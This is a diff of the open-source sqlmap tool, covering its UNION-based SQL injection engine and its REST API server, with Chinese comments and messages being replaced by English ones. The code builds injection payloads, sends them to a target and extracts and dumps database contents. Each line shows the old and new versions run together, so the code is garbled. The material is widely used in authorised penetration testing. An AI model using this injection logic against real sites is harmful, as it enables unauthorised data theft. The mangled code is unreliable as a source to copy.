injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7] kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8] kb.forcePartialUnion = vector[8]
# 设置表名和UNION模板 # Note: introduced columns in 1.4.2.42#dev
try: try:
kb.tableFrom = vector[9] kb.tableFrom = vector[9]
kb.unionTemplate = vector[10] kb.unionTemplate = vector[10]
except IndexError: except IndexError:
pass pass
# 构造UNION查询
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else: else:
# JSON聚合模式
injExpression = unescaper.escape(expression) injExpression = unescaper.escape(expression)
where = vector[6] where = vector[6]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
# 构造payload并发送请求
payload = agent.payload(newValue=query, where=where) payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False) page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
# 检查结果是否被强制转换为大写
if page and kb.chars.start.upper() in page and kb.chars.start not in page: if page and kb.chars.start.upper() in page and kb.chars.start not in page:
singleTimeWarnMessage("结果似乎被强制转换为大写。sqlmap将自动将其转换为小写") singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them")
page = page.lower() page = page.lower()
# 增加UNION技术使用计数
incrementCounter(PAYLOAD.TECHNIQUE.UNION) incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# JSON聚合模式下的结果处理
if kb.jsonAggMode: if kb.jsonAggMode:
for _page in (page or "", (page or "").replace('\\"', '"')): for _page in (page or "", (page or "").replace('\\"', '"')):
if Backend.isDbms(DBMS.MSSQL): if Backend.isDbms(DBMS.MSSQL):
# MSSQL特定的JSON结果解析
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
if output: if output:
try: try:
@ -138,12 +117,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
else: else:
retVal = getUnicode(retVal) retVal = getUnicode(retVal)
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL):
# PostgreSQL特定的结果解析
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
if output: if output:
retVal = output retVal = output
else: else:
# 其他数据库的JSON结果解析
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
if output: if output:
try: try:
@ -158,74 +135,61 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
if retVal: if retVal:
break break
else: else:
# 非JSON模式下的结果解析 # Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex): def _(regex):
return firstNotNone( return firstNotNone(
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
) )
# 自动修复最后一个字符被截断的情况 # Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "自动修复输出中最后一个字符被截断的情况" warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop) page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
# 处理结果
if retVal is not None: if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding) retVal = getUnicode(retVal, kb.pageEncoding)
# MSSQL错误信息特殊处理 # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlUnescape(retVal).replace("<br>", "\n") retVal = htmlUnescape(retVal).replace("<br>", "\n")
# 将结果写入hashDB缓存
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
elif not kb.jsonAggMode: elif not kb.jsonAggMode:
# 检查是否存在输出被截断的情况
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed: if trimmed:
warnMsg = "检测到可能的服务器截断输出 " warnMsg = "possible server trimmed output detected "
warnMsg += "(可能由于长度或内容导致): " warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed) warnMsg += safecharencode(trimmed)
logger.warning(warnMsg) logger.warning(warnMsg)
# 尝试移除ORDER BY子句重试
elif re.search(r"ORDER BY [^ ]+\Z", expression): elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "重试失败的SQL查询(不带ORDER BY子句)" debugMsg = "retrying failed SQL query without the ORDER BY clause"
singleTimeDebugMessage(debugMsg) singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited) retVal = _oneShotUnionUse(expression, unpack, limited)
# 尝试关闭NATIONAL CHARACTER转换
elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)): elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
debugMsg = "关闭NATIONAL CHARACTER转换" debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
singleTimeDebugMessage(debugMsg) singleTimeDebugMessage(debugMsg)
kb.nchar = False kb.nchar = False
retVal = _oneShotUnionUse(expression, unpack, limited) retVal = _oneShotUnionUse(expression, unpack, limited)
else: else:
# 从缓存获取结果时设置unionDuplicates
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7] kb.unionDuplicates = vector[7]
return retVal return retVal
def configUnion(char=None, columns=None): def configUnion(char=None, columns=None):
"""
配置UNION注入的参数
参数:
char - UNION分隔符
columns - UNION查询的列数范围
"""
def _configUnionChar(char): def _configUnionChar(char):
"""配置UNION分隔符"""
if not isinstance(char, six.string_types): if not isinstance(char, six.string_types):
return return
@ -235,7 +199,6 @@ def configUnion(char=None, columns=None):
kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'")) kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'"))
def _configUnionCols(columns): def _configUnionCols(columns):
"""配置UNION查询的列数范围"""
if not isinstance(columns, six.string_types): if not isinstance(columns, six.string_types):
return return
@ -246,12 +209,13 @@ def configUnion(char=None, columns=None):
colsStart, colsStop = columns, columns colsStart, colsStop = columns, columns
if not isDigit(colsStart) or not isDigit(colsStop): if not isDigit(colsStart) or not isDigit(colsStop):
raise SqlmapSyntaxException("--union-cols必须是整数范围") raise SqlmapSyntaxException("--union-cols must be a range of integers")
conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
if conf.uColsStart > conf.uColsStop: if conf.uColsStart > conf.uColsStop:
errMsg = "--union-cols范围必须是从小到大的数字" errMsg = "--union-cols range has to represent lower to "
errMsg += "higher number of columns"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
_configUnionChar(char) _configUnionChar(char)
@ -259,21 +223,13 @@ def configUnion(char=None, columns=None):
def unionUse(expression, unpack=True, dump=False): def unionUse(expression, unpack=True, dump=False):
""" """
使用UNION SQL注入技术执行查询 This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
参数: UNION SQL injection on the affected URL
expression - SQL查询表达式
unpack - 是否需要解包结果
dump - 是否在dump模式下执行
返回:
查询结果
""" """
# 初始化UNION注入技术
initTechnique(PAYLOAD.TECHNIQUE.UNION) initTechnique(PAYLOAD.TECHNIQUE.UNION)
# 初始化变量
abortedFlag = False abortedFlag = False
count = None count = None
origExpr = expression origExpr = expression
@ -281,35 +237,32 @@ def unionUse(expression, unpack=True, dump=False):
stopLimit = None stopLimit = None
value = None value = None
# 获取控制台宽度和开始时间
width = getConsoleWidth() width = getConsoleWidth()
start = time.time() start = time.time()
# 解析表达式中的字段
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# 设置部分运行标志(API模式) # Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None kb.partRun = getPartRun(alias=False) if conf.api else None
# 移除ORDER BY子句(如果存在)
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
debugMsg = "由于ORDER BY子句与UNION查询不兼容,已将其移除" debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg) singleTimeDebugMessage(debugMsg)
# 检查是否可以使用JSON聚合模式
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression): if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression):
kb.jsonAggMode = True kb.jsonAggMode = True
# 根据不同数据库构造JSON聚合查询
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1) query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1)
elif Backend.isDbms(DBMS.ORACLE): elif Backend.isDbms(DBMS.ORACLE):
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1) query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.SQLITE): elif Backend.isDbms(DBMS.SQLITE):
query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.PGSQL): elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1) query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
@ -317,13 +270,16 @@ def unionUse(expression, unpack=True, dump=False):
value = parseUnionPage(output) value = parseUnionPage(output)
kb.jsonAggMode = False kb.jsonAggMode = False
# 检查是否需要分页查询 # We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
# 添加LIMIT条件
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond: if limitCond:
# 计算查询结果总数 # Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper(): if " ORDER BY " in countedExpression.upper():
@ -339,33 +295,36 @@ def unionUse(expression, unpack=True, dump=False):
else: else:
stopLimit = int(count) stopLimit = int(count)
debugMsg = "SQL查询返回 " debugMsg = "used SQL query returns "
debugMsg += "%d %s" % (stopLimit, "条结果" if stopLimit > 1 else "条结果") debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
logger.debug(debugMsg) logger.debug(debugMsg)
elif count and (not isinstance(count, six.string_types) or not count.isdigit()): elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
warnMsg = "无法计算SQL查询的结果数量。" warnMsg = "it was not possible to count the number "
warnMsg += "sqlmap将假设只返回一条结果" warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warning(warnMsg) logger.warning(warnMsg)
stopLimit = 1 stopLimit = 1
elif not isNumPosStrValue(count): elif not isNumPosStrValue(count):
if not count: if not count:
warnMsg = "SQL查询没有返回任何结果" warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warning(warnMsg) logger.warning(warnMsg)
else: else:
value = [] # 空表 value = [] # for empty tables
return value return value
# 如果结果数大于1,使用多线程处理
if isNumPosStrValue(count) and int(count) > 1: if isNumPosStrValue(count) and int(count) > 1:
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
try: try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit)) threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError: except OverflowError:
errMsg = "边界限制 (%d,%d) 太大。请使用'--fresh-queries'重新运行" % (startLimit, stopLimit) errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit)) numThreads = min(conf.threads, (stopLimit - startLimit))
@ -380,15 +339,12 @@ def unionUse(expression, unpack=True, dump=False):
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True kb.suppressResumeInfo = True
debugMsg = "由于行数较多,抑制可能的恢复控制台信息" debugMsg = "suppressing possible resume console info for "
debugMsg += "large number of rows as it might take too long"
logger.debug(debugMsg) logger.debug(debugMsg)
try: try:
def unionThread(): def unionThread():
"""
UNION查询的线程函数
处理分页查询的单个线程任务
"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
while kb.threadContinue: while kb.threadContinue:
@ -399,7 +355,6 @@ def unionUse(expression, unpack=True, dump=False):
except StopIteration: except StopIteration:
break break
# 根据数据库类型处理字段
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0] field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE): elif Backend.isDbms(DBMS.ORACLE):
@ -407,7 +362,6 @@ def unionUse(expression, unpack=True, dump=False):
else: else:
field = None field = None
# 构造限制查询
limitedExpr = agent.limitQuery(num, expression, field) limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True) output = _oneShotUnionUse(limitedExpr, unpack, True)
@ -422,7 +376,7 @@ def unionUse(expression, unpack=True, dump=False):
if threadData.shared.showEta: if threadData.shared.showEta:
threadData.shared.progress.progress(threadData.shared.counter) threadData.shared.progress.progress(threadData.shared.counter)
if isListLike(items): if isListLike(items):
# 处理返回列数不匹配的情况 # in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1: if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)] items = [_ for _ in flattenValue(items)]
@ -450,14 +404,12 @@ def unionUse(expression, unpack=True, dump=False):
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
# 处理缓冲区
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_): if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_)) threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0] del threadData.shared.buffered[0]
# 显示查询进度
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode: if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items])) _ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
@ -467,7 +419,6 @@ def unionUse(expression, unpack=True, dump=False):
dataToStdout("%s\n" % status) dataToStdout("%s\n" % status)
# 运行多线程查询
runThreads(numThreads, unionThread) runThreads(numThreads, unionThread)
if conf.verbose == 1: if conf.verbose == 1:
@ -476,28 +427,25 @@ def unionUse(expression, unpack=True, dump=False):
except KeyboardInterrupt: except KeyboardInterrupt:
abortedFlag = True abortedFlag = True
warnMsg = "用户中止枚举。sqlmap " warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "将显示部分输出" warnMsg += "will display partial output"
logger.warning(warnMsg) logger.warning(warnMsg)
finally: finally:
# 整理最终结果
for _ in sorted(threadData.shared.buffered): for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]): if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1])) threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value value = threadData.shared.value
kb.suppressResumeInfo = False kb.suppressResumeInfo = False
# 如果没有使用分页查询且未中止,执行单次查询
if not value and not abortedFlag: if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack) output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output) value = parseUnionPage(output)
# 计算查询耗时
duration = calculateDeltaSeconds(start) duration = calculateDeltaSeconds(start)
if not kb.bruteMode: if not kb.bruteMode:
debugMsg = "执行了 %d 次查询,耗时 %.2f" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
logger.debug(debugMsg) logger.debug(debugMsg)
return value return value

@ -128,7 +128,6 @@ class Database(object):
class Task(object): class Task(object):
def __init__(self, taskid, remote_addr): def __init__(self, taskid, remote_addr):
# 初始化任务对象,设置远程地址、进程、输出目录、选项等属性
self.remote_addr = remote_addr self.remote_addr = remote_addr
self.process = None self.process = None
self.output_directory = None self.output_directory = None
@ -137,7 +136,6 @@ class Task(object):
self.initialize_options(taskid) self.initialize_options(taskid)
def initialize_options(self, taskid): def initialize_options(self, taskid):
# 初始化选项,设置默认值
datatype = {"boolean": False, "string": None, "integer": None, "float": None} datatype = {"boolean": False, "string": None, "integer": None, "float": None}
self.options = AttribDict() self.options = AttribDict()
@ -160,23 +158,18 @@ class Task(object):
self._original_options = AttribDict(self.options) self._original_options = AttribDict(self.options)
def set_option(self, option, value): def set_option(self, option, value):
# 设置选项
self.options[option] = value self.options[option] = value
def get_option(self, option): def get_option(self, option):
# 获取选项
return self.options[option] return self.options[option]
def get_options(self): def get_options(self):
# 获取所有选项
return self.options return self.options
def reset_options(self): def reset_options(self):
# 重置选项为初始值
self.options = AttribDict(self._original_options) self.options = AttribDict(self._original_options)
def engine_start(self): def engine_start(self):
# 启动sqlmap引擎
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
os.close(handle) os.close(handle)
saveConfig(self.options, configFile) saveConfig(self.options, configFile)
@ -191,7 +184,6 @@ class Task(object):
self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
def engine_stop(self): def engine_stop(self):
# 停止sqlmap引擎
if self.process: if self.process:
self.process.terminate() self.process.terminate()
return self.process.wait() return self.process.wait()
@ -199,11 +191,9 @@ class Task(object):
return None return None
def engine_process(self): def engine_process(self):
# 获取sqlmap引擎进程
return self.process return self.process
def engine_kill(self): def engine_kill(self):
# 杀死sqlmap引擎进程
if self.process: if self.process:
try: try:
self.process.kill() self.process.kill()
@ -213,14 +203,12 @@ class Task(object):
return None return None
def engine_get_id(self): def engine_get_id(self):
# 获取sqlmap引擎进程ID
if self.process: if self.process:
return self.process.pid return self.process.pid
else: else:
return None return None
def engine_get_returncode(self): def engine_get_returncode(self):
# 获取sqlmap引擎进程返回码
if self.process: if self.process:
self.process.poll() self.process.poll()
return self.process.returncode return self.process.returncode
@ -228,7 +216,6 @@ class Task(object):
return None return None
def engine_has_terminated(self): def engine_has_terminated(self):
# 判断sqlmap引擎进程是否已经终止
return isinstance(self.engine_get_returncode(), int) return isinstance(self.engine_get_returncode(), int)
# Wrapper functions for sqlmap engine # Wrapper functions for sqlmap engine
@ -292,14 +279,11 @@ class LogRecorder(logging.StreamHandler):
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg))) conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg)))
def setRestAPILog(): def setRestAPILog():
# 如果配置文件中api字段为真
if conf.api: if conf.api:
try: try:
# 连接数据库
conf.databaseCursor = Database(conf.database) conf.databaseCursor = Database(conf.database)
conf.databaseCursor.connect("client") conf.databaseCursor.connect("client")
except sqlite3.OperationalError as ex: except sqlite3.OperationalError as ex:
# 如果连接数据库失败,抛出异常
raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
# Set a logging handler that writes log messages to a IPC database # Set a logging handler that writes log messages to a IPC database
@ -313,33 +297,24 @@ def is_admin(token):
@hook('before_request') @hook('before_request')
def check_authentication(): def check_authentication():
# 检查是否已经认证
if not any((DataStore.username, DataStore.password)): if not any((DataStore.username, DataStore.password)):
return return
# 获取请求头中的Authorization字段
authorization = request.headers.get("Authorization", "") authorization = request.headers.get("Authorization", "")
# 使用正则表达式匹配Authorization字段中的Basic认证信息
match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization)
# 如果没有匹配到Basic认证信息则将请求路径设置为错误页面
if not match: if not match:
request.environ["PATH_INFO"] = "/error/401" request.environ["PATH_INFO"] = "/error/401"
try: try:
# 解码Basic认证信息
creds = decodeBase64(match.group(1), binary=False) creds = decodeBase64(match.group(1), binary=False)
except: except:
# 如果解码失败,则将请求路径设置为错误页面
request.environ["PATH_INFO"] = "/error/401" request.environ["PATH_INFO"] = "/error/401"
else: else:
# 如果解码后的认证信息中冒号的数量不等于1则将请求路径设置为错误页面
if creds.count(':') != 1: if creds.count(':') != 1:
request.environ["PATH_INFO"] = "/error/401" request.environ["PATH_INFO"] = "/error/401"
else: else:
# 将认证信息分割为用户名和密码
username, password = creds.split(':') username, password = creds.split(':')
# 如果用户名或密码不匹配,则将请求路径设置为错误页面
if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""):
request.environ["PATH_INFO"] = "/error/401" request.environ["PATH_INFO"] = "/error/401"
@ -505,28 +480,18 @@ def option_set(taskid):
Set value of option(s) for a certain task ID Set value of option(s) for a certain task ID
""" """
# Check if the task ID exists in the DataStore
if taskid not in DataStore.tasks: if taskid not in DataStore.tasks:
# Log a warning if the task ID does not exist
logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) logger.warning("[%s] Invalid task ID provided to option_set()" % taskid)
# Return a JSON response indicating failure
return jsonize({"success": False, "message": "Invalid task ID"}) return jsonize({"success": False, "message": "Invalid task ID"})
# Check if the request JSON is None
if request.json is None: if request.json is None:
# Log a warning if the request JSON is None
